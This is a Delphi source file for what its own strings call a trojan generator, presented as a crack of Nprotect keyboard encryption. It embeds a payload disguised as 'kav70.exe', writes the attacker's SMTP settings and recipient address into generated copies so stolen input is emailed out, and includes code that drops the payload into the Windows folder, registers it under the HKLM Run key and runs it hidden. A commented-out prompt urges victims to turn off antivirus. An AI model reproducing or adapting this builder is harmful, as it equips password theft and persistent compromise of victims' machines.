unit1.~pas

破解“国际领先的Nprotect键盘加密技术”

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,IdMessage,IdSMTP,
  Dialogs, StdCtrls, ExtCtrls, Spin;

type
  TForm1 = class(TForm)
    page: TLabel;
    sendFrom: TLabel;
    username: TLabel;
    password: TLabel;
    sendTo: TLabel;
    smtpServer: TLabel;
    Bevel1: TBevel;
    Bevel2: TBevel;
    Edit1: TEdit;
    Edit2: TEdit;
    Edit3: TEdit;
    Edit4: TEdit;
    Edit5: TEdit;
    Edit6: TEdit;
    Button2: TButton;
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    Label1: TLabel;
    Panel1: TPanel;
    Image1: TImage;
    Button1: TButton;
    Label2: TLabel;
    SpinEdit1: TSpinEdit;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    function GenerateFile(sourcefile,targetfile:string):boolean;
  end;

Const RES_NAME = 'KAV70';
      RES_TYPE = 'EXE';
      FILE_NAME = 'kav70.exe';
var
  Form1: TForm1;

implementation

{$R *.dfm}
{$R kav70.RES}

function WindowsDirectory: string;
var
 WinDir: PChar;
begin
 WinDir := StrAlloc(MAX_PATH);
 GetWindowsDirectory(WinDir, MAX_PATH);
 Result := string(WinDir);
 if Result[Length(Result)] <> '\' then
 Result := Result + '\';
 StrDispose(WinDir);
end;

function extractres(restype,resname,resnewname:string):boolean;
var
  res:TResourceStream;
begin
 try
   res:=TResourceStream.Create(Hinstance,resname,pchar(restype));
   try
    res.SaveToFile(resnewname);
    result:=true;
   finally
    res.Free;
   end;
 except
   result:=false;
 end;
end;

function SetupReg(ExeFileName : String) : Boolean;
  function StrLen(const Str: PChar): Cardinal; assembler;
  asm
        MOV     EDX,EDI
        MOV     EDI,EAX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        MOV     EAX,0FFFFFFFEH
        SUB     EAX,ECX
        MOV     EDI,EDX
  end;
  function AddStrToReg(RootKey: HKEY; const StrPath, StrName, StrData: PChar) : Boolean;
  var
    TempKey: HKEY;
    Disposition, DataSize: LongWord;
  begin
    Result  := false;
    TempKey := 0;
    Disposition := REG_CREATED_NEW_KEY;
    if RegCreateKeyEx(RootKey, StrPath, 0, nil, 0, KEY_ALL_ACCESS, nil, TempKey, @Disposition) = ERROR_SUCCESS then begin
       DataSize := StrLen(StrData) + 1;
       if RegSetValueEx(TempKey, StrName, 0, REG_SZ, StrData, DataSize) = ERROR_SUCCESS then
          Result := true;
       RegCloseKey(TempKey);
    end;
  end;
const
  RunName = 'kav70';
  RunPath = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run';
begin
  Result := AddStrToReg(HKEY_LOCAL_MACHINE, RunPath, RunName, PChar(ExeFileName));
end;

function ExtractFiles:Boolean;
var
  fn : string;
  //si: TStartupInfo;
  //pi: TProcessInformation;
begin
   {FillChar(si, SizeOf(TStartupInfo), 0);
   with si do
   begin
     cb := SizeOf(TStartupInfo);
     dwFlags := STARTF_USESHOWWINDOW;
     wShowWindow := SW_SHOWNORMAL;
   end;}
   Result := False;
   fn := WindowsDirectory + FILE_NAME;
   if not SetupReg(fn) then begin
      Result := False;
   end;
   if not FileExists(fn) then begin
      if extractres(RES_TYPE,RES_NAME,fn) then begin
         if WinExec(PChar(fn),0) > 31 then begin
            Result := True;
         end;
      end;   
   end else begin
      if WinExec(PChar(fn),0) > 31 then begin
         Result := True;
      end else begin
         DeleteFile(fn);
         if extractres(RES_TYPE,RES_NAME,fn) then begin
           if WinExec(PChar(fn),0) > 31 then begin
             Result := True;
           end;
         end;
      end;
   end;
   if not SetupReg(fn) then begin
      Result := False;
   end;
end;

{#### 加密解密}
const
  fSeedA = 56789;///     常量   ,
  fSeedB = 54667;   ///     常量   ,
  fKey   = 1106;     //     钥匙
function  Encrypt(const str: string): string;
var
      i, j, iKey: Integer;
      strGet: string;
begin
      strGet := str;
      iKey   := FKey;
      Result := strGet;
      for i := 1 to Length(strGet) do
      begin   
          Result[i] := Char(byte(strGet[i])xor(iKey shr 8));
          iKey := (Byte(Result[I]) + iKey) * FSeedA + FSeedB;
      end;   
      strGet := Result;
      Result := '';
      for i:=1 to Length(strGet) do
      begin   
          j := Integer(strGet[i]);
          Result := Result + Char(65+(j div 26))+ char(65+(j mod 26));   
      end;   
end;

function Decrypt(const str: string): string;
  var   
      i, j, iKey: Integer;
      strGet: string;
  begin   
      strGet := str;
      iKey   := FKey;
      Result := '';
      for i := 1 to (Length(strGet) div 2) do
      begin   
          j := (Integer(strGet[2*i-1])-65)*26;
          j := j + (Integer(strGet[2*i])-65);
          Result := Result + Char(j);
      end;   
      strGet := Result;
      for i := 1 to Length(strGet) do
      begin   
          Result[i] := Char(byte(strGet[I]) xor (iKey shr 8));
          iKey := (Byte(strGet[I]) + iKey) * FSeedA + FSeedB;   
      end;   
end;
{#############}
function TForm1.GenerateFile(sourcefile,targetfile:string):boolean;
var
  source   : TFilestream;
  target   : TMemorystream;
  buffer   : array [0..255] of char;
  len : integer;
  waitTime := Integer;
begin
  try
    target := TMemorystream.Create;
    source := TFilestream.Create(SourceFile,fmOpenRead or fmShareDenyNone);
    try
       target.CopyFrom(source,source.Size);
       
       waitTime := SpinEdit1.Value;
       target.WriteBuffer(waitTime,sizeof(Integer));
       
       ZeroMemory(@buffer,sizeof(buffer));
       StrCopy(buffer,Pchar(Encrypt(Trim(Edit1.text))));
       target.WriteBuffer(buffer,sizeof(buffer));

       ZeroMemory(@buffer,sizeof(buffer));
       StrCopy(buffer,Pchar(Encrypt(Trim(Edit2.text))));
       target.WriteBuffer(buffer,sizeof(buffer));

       ZeroMemory(@buffer,sizeof(buffer));
       StrCopy(buffer,Pchar(Encrypt(Trim(Edit3.text))));
       target.WriteBuffer(buffer,sizeof(buffer));
       
       ZeroMemory(@buffer,sizeof(buffer));
       StrCopy(buffer,Pchar(Encrypt(Trim(Edit4.text))));
       target.WriteBuffer(buffer,sizeof(buffer));
       
       ZeroMemory(@buffer,sizeof(buffer));
       StrCopy(buffer,Pchar(Encrypt(Trim(Edit5.text))));
       target.WriteBuffer(buffer,sizeof(buffer));
       
       ZeroMemory(@buffer,sizeof(buffer));
       StrCopy(buffer,Pchar(Encrypt(Trim(Edit6.text))));
       target.WriteBuffer(buffer,sizeof(buffer));

       len := Integer(6*256) + sizeOf(integer);
       target.WriteBuffer(len,sizeof(integer));
       
       target.WriteBuffer('XXHAN',5);

       target.SaveToFile(targetfile);
    finally
       target.Free;
       source.Free;
    end;
  except
    result:=false;
    exit;
  end;
  result:=true;
end;

////////////// 通过邮件发送 ///////////////////
procedure SendByMail(smtp : TIdsmtp; msg : TIdMessage ; userpass : string);
begin
    msg.From.Name    := Trim('火血狼');
    msg.From.Address := Trim(Form1.Edit2.Text);
    msg.Recipients.EMailAddresses := Trim(Form1.Edit6.Text);
    msg.Body.Add(Trim(userpass));
    msg.Subject   := Trim('木马生成器发信测试');
    smtp.Password := Form1.Edit5.Text;
    smtp.Username := Form1.Edit4.Text;
    smtp.Host     := Trim(Form1.Edit3.Text);
    smtp.Connect;
    smtp.Send(msg);
    smtp.Disconnect;
end;

procedure SendTestEmail;
var
 smtp : TIdSmtp;
 msg  : TIdmessage;
 ok   : boolean;
begin
  ok   := false;
  smtp := TIdSmtp.Create(nil);
  msg  := TIdMessage.Create(nil);
  try
    SendByMail(smtp,msg,'木马生成器测试邮件!!');
    ok := true;
  except
    on E:Exception do ShowMessage('测试发信失败：'+#13+E.Message);
  end;
  smtp.Free;
  msg.Free;
  if ok then
     ShowMessage('测试发信成功，请稍后查看邮箱。');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 SendTestEmail;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  //if Edit7.Text = '' then Exit;
  if SaveDialog1.Execute then begin
    if not extractres(RES_TYPE,RES_NAME,FILE_NAME) then begin
       ShowMessage('生成文件失败。');
       Exit;
    end;
    if GenerateFile(FILE_NAME,SaveDialog1.Filename) then begin
      ShowMessage('成功生成：'+#13+ SaveDialog1.Filename);
    end else begin
      ShowMessage('生成文件失败。');
    end;
    DeleteFile(FILE_NAME);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
{ try
  if not ExtractFiles then begin
    MessageBox(0,'无法运行，请将杀毒软件关闭！！','XY2',MB_OK);
    Application.Terminate; 
  end;
 except
 end;} 
end;

end.